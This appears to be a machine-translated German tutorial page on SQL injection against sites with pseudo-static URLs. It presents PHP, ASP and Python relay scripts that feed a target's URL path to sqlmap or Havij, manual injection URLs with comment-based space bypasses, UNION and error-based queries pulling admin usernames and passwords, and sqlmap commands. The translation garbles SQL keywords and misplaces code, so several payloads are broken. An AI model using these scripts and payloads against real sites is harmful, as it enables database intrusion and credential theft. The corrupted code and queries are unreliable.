Heim >Backend-Entwicklung >PHP-Tutorial >PHP teilt Beispiele für pseudostatische Injektionen

PHP teilt Beispiele für pseudostatische Injektionen

小云云
小云云Original
2018-01-30 14:20:202093Durchsuche

Dieser Artikel stellt hauptsächlich die pseudostatische Injektion von PHP vor und analysiert sie in Form von Beispielen. Er enthält auch verwandte Operationscodes von ASP und Python Für die Sicherheit von PHP-Programmen ist es erforderlich. Freunde können sich darauf beziehen. Ich hoffe, es kann allen helfen.

1: Transit-Injektionsmethode

1. Tun Sie dies über http://www.xxx.com/news.php?id= 1 Nach der Pseudostatik sieht es so aus:
http://www.xxx.com/news.php/id/1.html

2 Testschritte:

Transit Injektions-PHP-Code: inject.php


<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3. Erstellen Sie PHP in der lokalen Umgebung und besuchen Sie dann http://127.0.0.1/inject.php?id =1

Injection-Schwachstellen können über sqlmap oder havj ausgeführt werden.

Anhang ASP-Übertragungscode:


<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

2. Manuelle Injektionsmethode

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2. Testinjektion :

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http: //www.xxx.com/play/Diablo'/**/und
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/* */und
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/Und/**/1=1/*.html Normal
http://www.xxx.com/page/html/?56′/**/Und/**/1=2/*.html Fehler

3 Überprüfen Sie, ob es Unterschiede gibt Die Seiten existieren nicht. Der Unterschied besteht und injiziert.

4. Union-Abfrage:

http://www.xxx.com/play/diablo' und 1=2 Union Select 1,2… frominformation_schema.columns, wobei 1='1. html
http://www.xxx.com/page/html/?56'/**/Und/**/(SELECT/**/1/**/(wählen/**/aus/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/Gruppe/**/a)b)=1/*.html

Manuelle Injektionsmethode (2)

http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(wählen/**/concat(Benutzer,0x3a,Passwort)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/von/**/where'1'='1.html

Hinweis:

Pseudostatische Injektion ist nicht dasselbe wie gewöhnliche GET-Injektion einer URL

. %20, %23, + usw., die durch Get normaler URLs eingefügt werden, können verwendet werden. Pseudostatisch funktioniert jedoch nicht und wird direkt an die URL übergeben. Verwenden Sie daher /*.*

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
*/limit/*******/a)b/***/Dieses Kommentarsymbol Gibt Leerzeichen an.

3. SQLmap-Methode

Fügen Sie *
http:// hinzu, wo immer sich ein pseudostatischer Injektionspunkt befindet sqlmap. www.cunlide.com/id1/1/id2/2
python sqlmap.py -u „http://www.xxx.com/id1/1*/id2/2″
http:/ /www .xxx.com/news/class/?103.htm
python sqlmap.py -u „http://www.xxx.com/news/class/?103*.html“

4. Python-Skriptmethode

Code:


Verwandte Empfehlungen:

Wie implementiert WordPress pseudostatisches Plus-HTML-Suffix?

Was ist pseudostatisch?

Detaillierte Erklärung von Pseudo- statische Konfiguration in PHP

Das obige ist der detaillierte Inhalt vonPHP teilt Beispiele für pseudostatische Injektionen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn